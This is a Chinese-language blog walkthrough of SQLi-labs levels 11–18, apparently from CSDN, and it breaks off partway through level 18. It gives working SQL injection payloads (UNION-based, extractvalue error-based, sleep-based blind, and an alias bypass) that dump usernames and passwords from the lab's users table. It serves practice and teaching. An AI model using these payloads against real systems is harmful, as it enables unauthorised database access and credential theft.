Sql-lab全解_sqllab

这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦

经过测试这里

回显位为2位

-1’ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到数据库名称,和当前表名称

-1’ union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#

得到表列

-1’ union select database(),group_concat(username,password) from security.users#

得到数据

第十二题

这里也是直接看源码进行分析

改变闭合方式其他的和第十一题没有区别

-1") union select database(),group_concat(username,password) from security.users#

第十三题

-1’) union select database(),group_concat(username,password) from security.users#

发现没有回显了

这里尝试报错注入

-1’) and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十四题

同样没有回显,使用报错注入

-1" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十五题

这里和上面的有些不同,这里报错没有回显了,所以在这里采用post盲注

admin’ and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

存在注入后续可以使用sqlmap辅助注入,盲注工作量太大了

第十六题

这里测试也是没有回显使用盲注,查看源码发现闭合方式为")

使用语句admin“) and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

第十七题

观察源码发现uname被过滤所以不可能在这里注入

这里uname被过滤了直接在passwd注入

这里看到注入语句前面是updata采用报错注入

’ or extractvalue(1,concat(0x7e,(database())))#

最后爆出数据表的时候会报一个错误

这里是数据库做了一个限制不允许读users表可以使用别名绕过

’ or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#

将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了

第十八题

这里观察源码发现username和passowrd都被过滤但是这里有两个uagent和ip没有被过滤,和上一题一样使用报错注

  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值